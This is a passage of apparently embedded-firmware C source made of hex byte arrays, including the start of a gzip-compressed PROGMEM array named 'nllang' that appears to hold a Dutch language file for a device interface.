0x6b, 0xbc, 0xcf, 0x1f, 0x8d, 0x02, 0x47, 0xd2, 0xb2, 0x99, 0x2f, 0xe9, 0xe5, 0x4d, 0x5a, 0x0e, 0x04, 0x47, 0x43, 0xb4, 0x53, 0x9b, 0xd6, 0xb7, 0x8f, 0xed, 0xa5, 0xa1, 0xc8, 0x38, 0x9f, 0xc7, 0xeb, 0xf0, 0x81, 0x24, 0x8f, 0x8d, 0x91, 0x66, 0xd3, 0x70, 0x23, 0x07, 0xb4, 0xe2, 0x7b, 0xea, 0x0d, 0x06, 0xfd, 0xb4, 0x2a, 0x34, 0x85, 0xd5, 0x22, 0xbe, 0x29, 0xb2, 0x47, 0xfc, 0x2f, 0x02, 0x3e, 0x3f, 0x9d, 0x59, 0xab, 0xbe, 0xd6, 0x4b, 0xeb, 0xc6, 0x19, 0x40, 0xb9, 0xea, 0x24, 0x28, 0x4b, 0xb9, 0x31, 0xbf, 0x2f, 0x3a, 0xd4, 0x94, 0xdf, 0x50, 0xce, 0x8c, 0xf8, 0x1b, 0x4b, 0x46, 0x87, 0xa7, 0xe0, 0xbe, 0xc6, 0x46, 0xd6, 0xf2, 0xda, 0xb3, 0xd0, 0x0b, 0xbf, 0x63, 0x87, 0x1e, 0x8b, 0xcb, 0x67, 0x91, 0xa8, 0x37, 0x1a, 0x08, 0x05, 0x87, 0xd0, 0x83, 0x43, 0x51, 0xb8, 0x1d, 0xe9, 0x46, 0x44, 0x2f, 0xb0, 0xe1, 0xa9, 0xd0, 0x72, 0xa8, 0x35, 0x32, 0x71, 0xd3, 0xb7, 0xc6, 0x86, 0xda, 0x58, 0x7d, 0x45, 0x02, 0x82, 0xfe, 0x09, 0xf2, 0xc4, 0xea, 0x11, 0x70, 0x0b, 0x8b, 0xf4, 0xbe, 0xf0, 0x37, 0x6d, 0x62, 0xd7, 0x8c, 0xd0, 0xa5, 0x99, 0xd5, 0x4b, 0x3d, 0xbe, 0x2d, 0x57, 0x86, 0x58, 0x73, 0x3f, 0x3d, 0x62, 0xa5, 0xef, 0x3f, 0x46, 0x10, 0x64, 0x67, 0xcd, 0xbd, 0x4b, 0xda, 0x05, 0x6a, 0x87, 0x27, 0xc2, 0x81, 0x28, 0xcb, 0x3b, 0x8b, 0x1b, 0xe9, 0x33, 0x5a, 0x47, 0x45, 0x87, 0x02, 0xc1, 0xa8, 0x3f, 0xfc, 0xc2, 0x4b, 0x46, 0x81, 0x36, 0x8d, 0xcd, 0x15, 0x56, 0xe8, 0xf9, 0xb3, 0x61, 0xce, 0x68, 0xf5, 0x54, 0x41, 0x4f, 0x9e, 0xf2, 0x0b, 0xde, 0xf0, 0xf7, 0xfe, 0x28, 0xb9, 0x1a, 0xb8, 0xdd, 0x3c, 0xde, 0xb1, 0x61, 0x33, 0x24, 0xef, 0xf8, 0x8e, 0x67, 0xe0, 0xeb, 0xfb, 0x7f, 0x42, 0x4e, 0x8b, 0xbf, 0xaf, 0x9d, 0xcd, 0x5b, 0x81, 0xa1, 0x6d, 0x11, 0x4d, 0xc7, 0xe0, 0x70, 0xf0, 0x41, 0xe3, 0x35, 0x84, 0xcd, 0x0f, 0xdf, 0xf4, 0x3f, 0xb8, 0xad, 0x4f, 0x4f, 0x37, 0xd2, 0x17, 0xb5, 0xb3, 0x12, 0xc0, 0xb7, 0x7e, 0xba, 0x04, 0xab, 0x1f, 0x23, 0x0b, 0xfd, 0x3c, 0x57, 0x47, 0xf8, 0x73, 0x4c, 0x21, 0xf6, 0x21, 0x5c, 0x9f, 0xf4, 0x7f, 0xf3, 0xe7, 0xfb, 0x0f, 0xdc, 0x82, 0xed, 0xa8, 0xb9, 0xe3, 0xb9, 0xd1, 0xd9, 0x7c, 0x08, 0x00, 0xde, 0x58, 0xdc, 0xaf, 0xff, 0xbc, 0x49, 0x2f, 0xe7, 0xbe, 0xf3, 0x0f, 0x23, 0x42, 0x60, 0xb3, 0x5a, 0x25, 0x0d, 0x53, 0xc4, 0x86, 0x94, 0xd4, 0x90, 0xf5, 0x38, 0x0f, 0x30, 0xdf, 0x59, 0x19, 0xe2, 0x16, 0x9e, 0xc6, 0xd6, 0xc3, 0x96, 0x3e, 0xa1, 0x64, 0x99, 0xe6, 0xd8, 0xf5, 0x1d, 0xb2, 0x41, 0x33, 0x8a, 0x1c, 0x8e, 0x62, 0x1e, 0xc6, 0x90, 0x42, 0xf6, 0xa2, 0xca, 0x80, 0xaa, 0x84, 0x57, 0x64, 0x05, 0x91, 0x9f, 0x92, 0x37, 0x16, 0x77, 0x8d, 0xcc, 0x05, 0xc7, 0x18, 0xf0, 0x85, 0x54, 0x29, 0x25, 0xd3, 0xb3, 0xb4, 0x9f, 0xc4, 0x28, 0x15, 0x63, 0x6b, 0x52, 0xcf, 0xe6, 0x3e, 0xbf, 0x6b, 0xac, 0xce, 0xea, 0x25, 0xf6, 0x50, 0xce, 0xb9, 0x03, 0x38, 0xe8, 0x34, 0xdf, 0x48, 0xcf, 0x30, 0x1b, 0x00, 0x00, 0xd1, 0x27, 0xd5, 0x75, 0x92, 0xb6, 0x89, 0xf2, 0x09, 0x6d, 0x1d, 0xac, 0xb0, 0x65, 0x30, 0xb6, 0x58, 0x06, 0xd1, 0x65, 0x85, 0x89, 0x04, 0xc2, 0x0e, 0xb8, 0x04, 0x83, 0xaf, 0x8b, 0x1b, 0x98, 0x3a, 0x1c, 0x7e, 0x60, 0xe3, 0x1a, 0xab, 0xf3, 0x7a, 0x8e, 0x28, 0x11, 0xca, 0x18, 0x35, 0x2e, 0x6f, 0x29, 0xa1, 0x67, 0x8f, 0x85, 0x9a, 0x94, 0x09, 0xc5, 0x4a, 0x34, 0x8e, 0xac, 0x2d, 0x1d, 0x00, 0xa9, 0x18, 0xd2, 0x0f, 0xc7, 0xab, 0xed, 0x2e, 0xd4, 0x4c, 0x5e, 0x95, 0xbc, 0x20, 0xca, 0xea, 0xd5, 0x69, 0xf3, 0x40, 0x69, 0x2f, 0xc8, 0x75, 0x01, 0xda, 0x45, 0xcb, 0x05, 0x80, 0x44, 0x76, 0x75, 0x59, 0xba, 0x2a, 0x21, 0x85, 0xe5, 0x9a, 0x32, 0xae, 0xb9, 0xa3, 0xec, 0xca, 0x51, 0xd2, 0x48, 0xa1, 0x2d, 0x09, 0xf5, 0x58, 0x16, 0x4e, 0x5c, 0xca, 0xcc, 0x21, 0xc4, 0xd3, 0x3f, 0x02, 0x13, 0xb8, 0x21, 0xee, 0x22, 0x58, 0x17, 0x8a, 0x38, 0xe9, 0x64, 0x31, 0x52, 0x20, 0x81, 0x11, 0xed, 0x5a, 0x37, 0xf2, 0xd3, 0xa9, 0x3e, 0x9f, 0x6a, 0xaf, 0xa1, 0xa5, 0x3d, 0x64, 0x60, 0x97, 0x62, 0x78, 0x6d, 0x7a, 0x36, 0x06, 0x0a, 0xc0, 0x23, 0x28, 0x21, 0x8c, 0xf5, 0xed, 0x36, 0x6a, 0x10, 0x7b, 0xbb, 0xeb, 0xde, 0xda, 0xd5, 0xbc, 0x9e, 0x85, 0x84, 0x08, 0x95, 0xe0, 0x21, 0xda, 0xa1, 0x24, 0xea, 0x2b, 0x19, 0xa1, 0xac, 0x23, 0x42, 0xb6, 0x7f, 0xd4, 0x5f, 0x32, 0xb4, 0x37, 0xc9, 0xb3, 0x67, 0xa0, 0xe7, 0x35, 0x0f, 0xe5, 0x31, 0x91, 0x33, 0x67, 0xa3, 0x2e, 0x47, 0x8e, 0xf2, 0xb5, 0x48, 0x31, 0x0d, 0x21, 0xb2, 0x0b, 0x9c, 0x2f, 0xb4, 0x5d, 0x4c, 0xc6, 0x1c, 0xaf, 0x5d, 0x8b, 0x30, 0xc9, 0xcc, 0xe1, 0xe8, 0x50, 0x24, 0x1a, 0x1a, 0x67, 0x82, 0x43, 0x90, 0x79, 0x3e, 0xf3, 0xe8, 0xca, 0x96, 0x51, 0xda, 0x6d, 0xee, 0x68, 0x3e, 0xb4, 0xd6, 0x78, 0xbf, 0x63, 0xdb, 0x44, 0x60, 0x34, 0x30, 0x14, 0x1a, 0x1d, 0xc5, 0x65, 0xac, 0x00, 0x84, 0x0a, 0x4e, 0x4b, 0x59, 0x99, 0x61, 0x38, 0x14, 0x8a, 0xca, 0x7c, 0x4a, 0x4e, 0xb7, 0xd6, 0xe1, 0xbe, 0x38, 0x6d, 0x81, 0xf2, 0x17, 0x7c, 0xcf, 0xf4, 0xc4, 0x1f, 0xf4, 0x0e, 0x8f, 0xf9, 0x87, 0xc2, 0xde, 0xe0, 0x48, 0xe8, 0x19, 0xef, 0x38, 0x24, 0xb8, 0x4d, 0x62, 0x2d, 0x8b, 0x16, 0x22, 0x5b, 0x72, 0xb9, 0xab, 0x27, 0x56, 0x65, 0xe6, 0xff, 0x90, 0x97, 0xea, 0x53, 0x3b, 0x8e, 0x97, 0x78, 0xf3, 0x10, 0xe4, 0x37, 0x5f, 0xc7, 0x37, 0x10, 0x70, 0x56, 0x61, 0x5d, 0xb4, 0x1c, 0x89, 0x57, 0xe1, 0xd8, 0xa9, 0x14, 0xac, 0xc0, 0x37, 0x12, 0xb3, 0x84, 0xae, 0x32, 0x67, 0x0a, 0x2c, 0x31, 0x56, 0x32, 0xc6, 0xdc, 0x4b, 0x27, 0x46, 0xac, 0x84, 0xea, 0x7d, 0x1e, 0x7d, 0x6a, 0x9f, 0xeb, 0x20, 0xc7, 0x0c, 0x64, 0x27, 0xb8, 0x6c, 0x44, 0xdd, 0x21, 0x31, 0xed, 0x2e, 0x9d, 0x33, 0x87, 0x55, 0xb6, 0x23, 0x84, 0x5b, 0x8a, 0xfb, 0xc6, 0xa4, 0x52, 0xab, 0xee, 0xb0, 0x76, 0xe4, 0x7d, 0x57, 0xfb, 0x51, 0xb6, 0xd8, 0x02, 0xf6, 0xad, 0xc6, 0x08, 0x74, 0x57, 0xce, 0x62, 0x97, 0x2a, 0x67, 0x3d, 0xbb, 0x49, 0xf8, 0x28, 0xbb, 0x5f, 0x4d, 0xd8, 0xed, 0x93, 0x1d, 0xe2, 0xd4, 0xb6, 0x20, 0x4b, 0x40, 0x8c, 0x98, 0xa5, 0x53, 0x8a, 0x11, 0x95, 0xb0, 0x88, 0xbd, 0x0f, 0x77, 0x28, 0x13, 0x77, 0xee, 0xf6, 0xf6, 0xfe, 0xc6, 0xee, 0x53, 0xe8, 0xef, 0xba, 0xbb, 0x26, 0x46, 0xec, 0xea, 0xc9, 0x8a, 0xa9, 0x5d, 0xb6, 0xab, 0xf3, 0xee, 0x78, 0x9a, 0xa9, 0xe3, 0x1a, 0x45, 0xb5, 0x82, 0xf9, 0x96, 0xa7, 0x8e, 0x8d, 0x4b, 0x81, 0xfa, 0x2e, 0x57, 0x05, 0x84, 0x11, 0x9f, 0x9d, 0xe5, 0xb6, 0xc6, 0x12, 0x03, 0xda, 0xb0, 0x25, 0xe8, 0x0d, 0xe6, 0x54, 0x59, 0xce, 0x73, 0xe3, 0x88, 0x54, 0x1a, 0x23, 0x47, 0xb4, 0x88, 0x4a, 0xe0, 0x4e, 0xe5, 0x25, 0xba, 0x00, 0xaa, 0x74, 0xe0, 0xe0, 0x74, 0x95, 0xa8, 0x37, 0xde, 0x2d, 0x4d, 0xc2, 0xe6, 0x66, 0x4e, 0xc5, 0x83, 0x8c, 0xc3, 0x4c, 0xed, 0xfd, 0x26, 0x49, 0x2b, 0x90, 0x11, 0x2d, 0x96, 0x13, 0x3e, 0x86, 0xfd, 0x5e, 0x1f, 0xd4, 0x4b, 0x4d, 0x5c, 0x3a, 0x39, 0xd7, 0x41, 0x8a, 0x40, 0x1a, 0x00, 0x10, 0x2c, 0xeb, 0x2f, 0x28, 0x43, 0xbe, 0xb6, 0xf4, 0xc0, 0x47, 0x65, 0xc2, 0x4e, 0x8c, 0x2e, 0xb3, 0x4a, 0xda, 0x9c, 0x77, 0xca, 0x90, 0x9d, 0xe5, 0x97, 0xeb, 0x3f, 0x6f, 0x80, 0xea, 0xdc, 0x86, 0x4b, 0x94, 0x61, 0x53, 0xc1, 0x28, 0xbb, 0xd6, 0xd5, 0x42, 0x0c, 0x58, 0xcc, 0x9c, 0xac, 0x5d, 0x6e, 0x49, 0xe8, 0x67, 0x98, 0x7c, 0x65, 0x07, 0x5e, 0x34, 0x0f, 0xe0, 0xeb, 0x9c, 0xc3, 0x68, 0x8c, 0x1f, 0xaa, 0x5a, 0xca, 0xd7, 0x65, 0x42, 0xbf, 0xe2, 0x08, 0x2d, 0xbb, 0xd8, 0xb0, 0x63, 0x69, 0x3c, 0x1c, 0x1a, 0xf6, 0xdb, 0xae, 0xe2, 0x7c, 0x44, 0x8c, 0x52, 0x41, 0xba, 0xb5, 0xeb, 0x86, 0x36, 0x11, 0x95, 0x30, 0xab, 0x4b, 0x8d, 0xcd, 0x3d, 0x84, 0xc4, 0xda, 0x2e, 0xf4, 0x3b, 0x6d, 0x8f, 0xc7, 0xfc, 0x50, 0x5a, 0xd7, 0xb7, 0xf2, 0x12, 0x27, 0xf3, 0x7a, 0x0a, 0x6e, 0x6d, 0x0a, 0x39, 0x1b, 0x6e, 0x1f, 0x1b, 0xb4, 0x2b, 0x77, 0xeb, 0x28, 0x23, 0xa5, 0xd2, 0x52, 0xbb, 0xe4, 0xa4, 0x0d, 0x56, 0xbb, 0xde, 0xee, 0x2c, 0xe2, 0xfe, 0x56, 0xf9, 0x94, 0x0e, 0x95, 0x3d, 0x3b, 0xb6, 0xe7, 0x88, 0x7d, 0x00, 0xc1, 0x45, 0x26, 0x79, 0xd9, 0xb0, 0xa7, 0x5a, 0xb4, 0xd1, 0xd2, 0x16, 0x41, 0x74, 0x9f, 0x3e, 0x5c, 0x8b, 0x70, 0xca, 0xbe, 0xf3, 0xfa, 0xe5, 0x71, 0x23, 0x53, 0xa5, 0x46, 0xab, 0x8a, 0x11, 0xa1, 0x26, 0x1c, 0xed, 0xf7, 0x9a, 0x50, 0x67, 0xf1, 0x2e, 0x65, 0x1a, 0xe1, 0xc4, 0x3b, 0x04, 0x95, 0x74, 0x24, 0xc0, 0x4d, 0x17, 0x65, 0x2a, 0xca, 0x66, 0x54, 0x6e, 0x7a, 0x5e, 0xdc, 0xfd, 0xb4, 0xf7, 0x53, 0xe9, 0x22, 0x3b, 0x0d, 0x0b, 0xf5, 0x92, 0x76, 0xbd, 0x23, 0xf0, 0x21, 0xdd, 0xd2, 0x14, 0x21, 0xc7, 0x23, 0x11, 0x2b, 0xd5, 0xb6, 0xb9, 0x74, 0x79, 0x20, 0x16, 0x8d, 0x3d, 0x1e, 0xcc, 0x39, 0xdd, 0x62, 0x30, 0xe7, 0x1c, 0x59, 0x74, 0x89, 0x18, 0xbc, 0x30, 0x80, 0xdb, 0x6d, 0x7b, 0x90, 0xc2, 0xb9, 0xf9, 0xe3, 0xc1, 0x60, 0xdf, 0x7f, 0x2e, 0xdf, 0x7c, 0xde, 0x27, 0xcb, 0x46, 0xee, 0x92, 0x3b, 0x96, 0x49, 0x2e, 0x0d, 0xc7, 0xbd, 0x91, 0xc8, 0x44, 0x28, 0x4c, 0xfd, 0xc7, 0x2f, 0xa2, 0x24, 0x05, 0xe8, 0x3b, 0xeb, 0x2a, 0xb5, 0x58, 0x1b, 0x65, 0xef, 0xfd, 0xcf, 0xca, 0x3a, 0x7a, 0x49, 0x26, 0x47, 0x2a, 0x81, 0x8b, 0x2e, 0xcd, 0x30, 0x3f, 0x80, 0xde, 0x87, 0x54, 0x6c, 0xa0, 0x42, 0x0c, 0xca, 0xeb, 0x9d, 0xa7, 0x14, 0xfa, 0x34, 0x30, 0x32, 0xe2, 0x0f, 0xfe, 0x42, 0xf6, 0x03, 0x6b, 0x6f, 0x02, 0xed, 0x6f, 0x5c, 0x33, 0xdb, 0x6d, 0x87, 0x77, 0x3c, 0x1a, 0x78, 0xe1, 0x7f, 0x1c, 0x0a, 0x47, 0xb9, 0x75, 0xeb, 0x4a, 0x93, 0xdc, 0x02, 0xad, 0x59, 0x13, 0x0c, 0x6d, 0x15, 0x37, 0x20, 0x28, 0xab, 0x68, 0xa2, 0x2b, 0xfb, 0xa3, 0x6a, 0xdd, 0x4f, 0x86, 0xbc, 0x1e, 0x92, 0xbd, 0x29, 0xc2, 0xe9, 0x33, 0x67, 0x3e, 0x05, 0x6c, 0x7d, 0x66, 0x41, 0x1f, 0xba, 0x84, 0xd9, 0x02, 0x54, 0x42, 0x8e, 0xfe, 0xb5, 0x55, 0x84, 0x6c, 0x94, 0x9d, 0x1b, 0xed, 0xda, 0xe2, 0x36, 0x0d, 0x5e, 0x0a, 0xf5, 0xdc, 0xb2, 0xfb, 0x7c, 0x28, 0x83, 0xc6, 0xc7, 0xbc, 0xff, 0xe4, 0x08, 0x9c, 0x45, 0x7b, 0xd0, 0xe0, 0x35, 0x2c, 0x16, 0x50, 0x85, 0x8e, 0xcd, 0x5c, 0x8b, 0x91, 0xed, 0x64, 0x7e, 0x0b, 0xfa, 0x84, 0x9e, 0x73, 0x2d, 0xf8, 0xfa, 0x8d, 0xe5, 0x51, 0xe9, 0x33, 0x06, 0x4a, 0xbb, 0x23, 0x97, 0xb9, 0x14, 0xb4, 0x45, 0x5b, 0x5d, 0x17, 0xa4, 0x96, 0xdc, 0x32, 0x64, 0xe6, 0xc1, 0x60, 0x2f, 0x7e, 0x6d, 0xf3, 0x22, 0x25, 0x2d, 0x2c, 0x6f, 0xe0, 0xa0, 0x03, 0x26, 0x6c, 0xae, 0xde, 0xae, 0x17, 0x0c, 0x6e, 0x4e, 0xf0, 0x87, 0x03, 0xf2, 0xd6, 0x1d, 0x85, 0xf1, 0x4d, 0xb6, 0x43, 0x4d, 0x38, 0x18, 0x74, 0x1c, 0xb0, 0xe6, 0x9a, 0xde, 0xc1, 0xae, 0xc5, 0xbc, 0xbe, 0x9f, 0xb7, 0x4b, 0xb9, 0x5b, 0x6d, 0xce, 0xec, 0xf7, 0x3d, 0x0d, 0xb5, 0x9e, 0x5b, 0xff, 0x09, 0x4a, 0xfd, 0x63, 0x8a, 0xdb, 0x1d, 0x22, 0xed, 0x0b, 0xa6, 0x45, 0xa3, 0xb2, 0x48, 0xe0, 0xcb, 0x5b, 0xcc, 0xd7, 0xfd, 0x0a, 0x26, 0xfc, 0xc3, 0x37, 0x05, 0xd0, 0x8d, 0x02, 0x06, 0xc6, 0x03, 0xa3, 0xa3, 0x91, 0xe6, 0xf4, 0x08, 0x43, 0x17, 0xe4, 0xa1, 0x8c, 0x1d, 0x92, 0x0a, 0xef, 0xe5, 0x06, 0x1e, 0x3f, 0x7a, 0xf8, 0x70, 0xe0, 0x06, 0x61, 0x63, 0x3c, 0x4e, 0xb9, 0xfd, 0xe4, 0xf7, 0xbf, 0xfb, 0xf8, 0x9b, 0xfe, 0x07, 0x50, 0xd2, 0x60, 0x19, 0xd7, 0xfd, 0x9d, 0x67, 0xde, 0x7f, 0xf8, 0x9e, 0xb6, 0x8e, 0xcf, 0xac, 0x92, 0x88, 0xba, 0xf2, 0x16, 0x0a, 0x21, 0x68, 0x90, 0x0b, 0x77, 0xc8, 0x97, 0x45, 0xcf, 0x6f, 0x3d, 0x7d, 0x7d, 0x9f, 0x78, 0xfa, 0xff, 0x82, 0x1f, 0x3e, 0xff, 0xc4, 0x63, 0xac, 0xed, 0x1b, 0x5b, 0x6f, 0xf1, 0xcb, 0xaf, 0x5b, 0x0e, 0xf2, 0xdd, 0x7f, 0xdc, 0x35, 0xe6, 0xed, 0xca, 0xde, 0xcd, 0x39, 0x7f, 0xbc, 0xff, 0xb5, 0x2c, 0x99, 0x00, 0x80, 0xef, 0x06, 0x83, 0x9e, 0x0f, 0x90, 0x90, 0xb0, 0xd9, 0xc0, 0x8a, 0x00, 0x4e, 0x5c, 0x33, 0xd3, 0x0d, 0x2d, 0xdf, 0x22, 0x10, 0xdb, 0xb1, 0x4b, 0x78, 0xba, 0x60, 0x24, 0xd3, 0x58, 0xfe, 0x34, 0x1b, 0xf6, 0x62, 0x3d, 0xb5, 0x81, 0x23, 0xd0, 0xce, 0x6d, 0x5a, 0xd3, 0xb6, 0x81, 0x68, 0x87, 0xe1, 0xd9, 0x87, 0x5a, 0xd5, 0xf5, 0xd5, 0xff, 0xaf, 0x39, 0xbe, 0xa7, 0x92, 0xe3, 0x1a, 0xdb, 0x33, 0xc6, 0xdb, 0x1d, 0x37, 0x34, 0x72, 0xb8, 0x02, 0xc2, 0x72, 0x17, 0x4e, 0xd6, 0xd0, 0x27, 0xe7, 0xf5, 0xb9, 0xfd, 0x96, 0xe9, 0x15, 0x69, 0x3a, 0x8f, 0xd3, 0x74, 0x4c, 0x50, 0x16, 0x31, 0xde, 0x6e, 0xad, 0xe0, 0xb1, 0x1e, 0x82, 0x32, 0x68, 0x85, 0xe2, 0xe7, 0xc8, 0x69, 0xac, 0xec, 0xc1, 0xd1, 0x58, 0x37, 0x9f, 0x3e, 0x0b, 0x04, 0x1f, 0x50, 0xb3, 0x16, 0x69, 0xc5, 0x2e, 0x3b, 0xc8, 0xdd, 0x94, 0xd9, 0x7e, 0x2c, 0x42, 0x58, 0xe0, 0x88, 0xc0, 0x2a, 0x60, 0xec, 0x1f, 0x0c, 0x16, 0xb0, 0xf8, 0xe9, 0xd4, 0xc7, 0x41, 0x09, 0x06, 0x91, 0x70, 0x94, 0x04, 0xe8, 0xbb, 0x13, 0x02, 0x8d, 0x84, 0xa2, 0x4d, 0xfa, 0xe5, 0x42, 0x92, 0xe7, 0xa3, 0xb7, 0x31, 0x05, 0xf0, 0x50, 0x9e, 0x13, 0x05, 0xff, 0xbe, 0x61, 0x37, 0x39, 0xdc, 0xa3, 0xbb, 0xa7, 0x14, 0xc8, 0xb8, 0x1f, 0x44, 0xa5, 0xa3, 0xa1, 0xb0, 0xcf, 0x3f, 0x0e, 0x87, 0x5b, 0x63, 0xcd, 0x96, 0xe6, 0x80, 0x1b, 0x02, 0xf3, 0xf0, 0xc0, 0xdc, 0x49, 0x50, 0xbc, 0x1a, 0xa7, 0xa7, 0x8d, 0xf4, 0x92, 0x55, 0xf3, 0xe3, 0xb0, 0x83, 0x48, 0x50, 0xc9, 0x99, 0xb1, 0x8a, 0xbe, 0x7f, 0x89, 0x27, 0x75, 0x18, 0xe9, 0xe8, 0xe5, 0x4c, 0x3d, 0x79, 0x25, 0x9b, 0x85, 0x29, 0x7b, 0x26, 0xa2, 0x4f, 0x62, 0x06, 0x69, 0x14, 0x21, 0xf1, 0x25, 0x65, 0xd1, 0xb8, 0x76, 0xad, 0xe2, 0x96, 0x4f, 0x12, 0xae, 0xe6, 0x15, 0x1b, 0xc6, 0x69, 0x84, 0x1f, 0xfe, 0x04, 0x82, 0xf3, 0xa4, 0xda, 0xd9, 0x82, 0x5e, 0x8e, 0xd1, 0x4e, 0x8b, 0xa1, 0xb8, 0x01, 0x35, 0x26, 0x73, 0x8e, 0x1f, 0xf8, 0x2c, 0x0c, 0x1b, 0x27, 0xf9, 0x4e, 0x18, 0x06, 0x3b, 0x89, 0xb1, 0x50, 0x39, 0xa5, 0x72, 0xf7, 0x8b, 0x2f, 0x78, 0x74, 0xe4, 0xce, 0x08, 0xdc, 0xe2, 0x47, 0xc6, 0xfd, 0x61, 0x1e, 0x0b, 0x33, 0x7c, 0x78, 0x2c, 0xf3, 0x03, 0x3b, 0x80, 0x52, 0x40, 0x51, 0x76, 0x55, 0xa8, 0x8f, 0x1b, 0x1a, 0x17, 0x8d, 0xd5, 0xdd, 0xc6, 0xe4, 0x5e, 0xed, 0x02, 0xac, 0x5f, 0xba, 0x8e, 0x97, 0x56, 0x98, 0xf0, 0x89, 0x4f, 0xfc, 0xde, 0x08, 0x57, 0xe0, 0x9d, 0x71, 0x86, 0xbf, 0x7c, 0x60, 0x52, 0x92, 0x35, 0x37, 0x58, 0x2f, 0xb5, 0x48, 0xb9, 0x47, 0x89, 0xd6, 0x24, 0xce, 0xea, 0x9d, 0x5d, 0xa3, 0x81, 0x22, 0x35, 0x0e, 0x90, 0x22, 0xb7, 0xec, 0x61, 0xa4, 0x35, 0x5e, 0xe0, 0x66, 0x81, 0x7a, 0x25, 0xec, 0xaa, 0xb0, 0x9b, 0x4e, 0xb7, 0xc7, 0x17, 0xf7, 0xb9, 0x8e, 0xaa, 0xb3, 0x25, 0x83, 0xc8, 0xb9, 0x57, 0xb3, 0x3d, 0x65, 0x5c, 0xe3, 0x2f, 0xc0, 0x00, 0x39, 0x8a, 0x40, 0x4c, 0x66, 0x2d, 0x3f, 0x75, 0x76, 0x9c, 0x06, 0x14, 0x1d, 0x83, 0x92, 0xce, 0xfa, 0x3c, 0x72, 0xcc, 0xfc, 0x6f, 0x54, 0x08, 0x69, 0xa4, 0xb2, 0x08, 0x41, 0xe8, 0xf2, 0xa0, 0x94, 0x2e, 0xa3, 0xac, 0x6c, 0x23, 0xba, 0xaf, 0xb7, 0xd7, 0x66, 0xa8, 0xe6, 0xa4, 0x88, 0x86, 0x11, 0xf4, 0x6b, 0xa0, 0x0d, 0xed, 0xe6, 0x93, 0xd4, 0x29, 0x01, 0x50, 0x9e, 0xef, 0x8e, 0x41, 0x46, 0x34, 0x41, 0x98, 0xbb, 0xdd, 0x25, 0xa6, 0x92, 0xda, 0xe5, 0xa2, 0x71, 0x96, 0x76, 0x4f, 0x67, 0xa4, 0xd5, 0x3c, 0xd6, 0xb9, 0xc6, 0x65, 0x6d, 0x7b, 0x64, 0x39, 0xd3, 0xc6, 0x96, 0x3d, 0x6b, 0x31, 0x2c, 0x71, 0x31, 0xd3, 0x0f, 0x3d, 0x52, 0xac, 0x81, 0x10, 0xfe, 0x66, 0xd7, 0xb5, 0xbf, 0xe0, 0x79, 0xdb, 0xb7, 0x7f, 0xed, 0xdc, 0xa9, 0xbb, 0x70, 0x9a, 0x07, 0x9f, 0xea, 0xb3, 0xe7, 0x6e, 0x77, 0x5b, 0xac, 0x03, 0xeb, 0x7a, 0x9c, 0xec, 0x73, 0x8d, 0xe2, 0xda, 0x95, 0x1e, 0x34, 0x21, 0x88, 0x3c, 0xf6, 0x87, 0xe9, 0xf7, 0x39, 0xab, 0x30, 0xbf, 0x1e, 0x7c, 0x37, 0x2a, 0xd4, 0x1a, 0x70, 0xf2, 0x5f, 0x41, 0x74, 0x6d, 0x6b, 0xca, 0x2d, 0x0d, 0x93, 0x99, 0x9f, 0x34, 0x0b, 0x6f, 0x06, 0x83, 0xfc, 0x7f, 0x77, 0xf5, 0xd5, 0x3a, 0x69, 0xe8, 0x34, 0xbd, 0xbd, 0xd5, 0xf3, 0xd1, 0xbf, 0xff, 0x0b, 0xaa, 0xf2, 0x04, 0xee, 0x8a, 0x21, 0x00, 0x00};\nconst char nllang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x6e, 0x6c, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xbd, 0x59, 0xdd, 0x8e, 0x1b, 0xb7, 0x15, 0xbe, 0x6e, 0x9e, 0x82, 0xde, 0x9b, 0xd8, 0x80, 0xa4, 0xae, 0x9d, 0x26, 0x48, 0x03, 0xf4, 0x62, 0x93, 0x5d, 0xdb, 0xdb, 0x34, 0xf6, 0xc2, 0x5a, 0xc7, 0x45, 0x11, 0x60, 0xc1, 0xd1, 0x50, 0x12, 0x57, 0x33, 0xc3, 0x29, 0x87, 0x23, 0xa5, 0x5b, 0x14, 0xe8, 0x7d, 0x9f, 0x24, 0xe8, 0x63, 0xe4, 0x4d, 0xfa, 0x24, 0xfd, 0xbe, 0x43, 0xce, 0x9f, 0x56, 0x49, 0xd3, 0x8b, 0x36, 0x70, 0xb0, 0xd2, 0x0c, 0x79, 0x78, 0x7e, 0xbf, 0xf3, 0x1d, 0x4a, 0xfd, 0x55, 0x7d, 0xa4, 0xf0, 0xdf, 0x59, 0xa1, 0xab, 0xcd, 0xd9, 0x17, 0xea, 0xac, 0x2a, 0xce, 0x66, 0xf1, 0xc9, 0x41, 0xfb, 0xca, 0xc6, 0x87, 0x1f, 0x2e, 0x2e, 0xde, 0x2d, 0xbf, 0x7a, 0xfd, 0xfe, 0xc3, 0xf5, 0x9b, 0x57, 0xdd, 0xeb, 0xdc, 0x36, 0xab, 0x42, 0xdb, 0xd2, 0x78, 0xae, 0xb8, 0xb4, 0x41, 0xd5, 0xde, 0xdd, 0x9b, 0x55, 0x50, 0xb6, 0x51, 0xc6, 0x54, 0xfc, 0xea, 0xd6, 0x0a, 0xff, 0x56, 0xae, 0x5a, 0x99, 0x3a, 0xa8, 0xbd, 0x73, 0x5e, 0x05, 0xd3, 0x84, 0xb9, 0xc2, 0x6b, 0x93, 0xb7, 0x2b, 0x1d, 0xac, 0xd9, 0x1b, 0x95, 0x3b, 0x53, 0x18, 0x5b, 0xe5, 0xa6, 0x5a, 0xa8, 0xef, 0x54, 0xf5, 0xc6, 0xad, 0xb6, 0x2a, 0x37, 0xea, 0x6a, 0x79, 0xf3, 0xf9, 0x8b, 0xcf, 0x3e, 0x9b, 0xa9, 0x2a, 0x3d, 0x58, 0x5e, 0x7e, 0x4d, 0xe1, 0x99, 0xe1, 0x86, 0x9c, 0xa2, 0x37, 0x26, 0x73, 0xed, 0x21, 0x8f, 0xa2, 0x73, 0xf3, 0x30, 0x95, 0x75, 0xe5, 0xd5, 0xae, 0xad, 0x2a, 0x1c, 0x96, 0xb5, 0x9b, 0x46, 0xb9, 0x3a, 0x78, 0x83, 0x17, 0x4f, 0x78, 0x08, 0xff, 0x7f, 0x65, 0x32, 0xdf, 0xda, 0x9d, 0xda, 0x9a, 0xa0, 0x74, 0x51, 0x50, 0x69, 0x11, 0xd4, 0x1e, 0x94, 0xb1, 0x1b, 0x7c, 0xab, 0x4c, 0x38, 0x18, 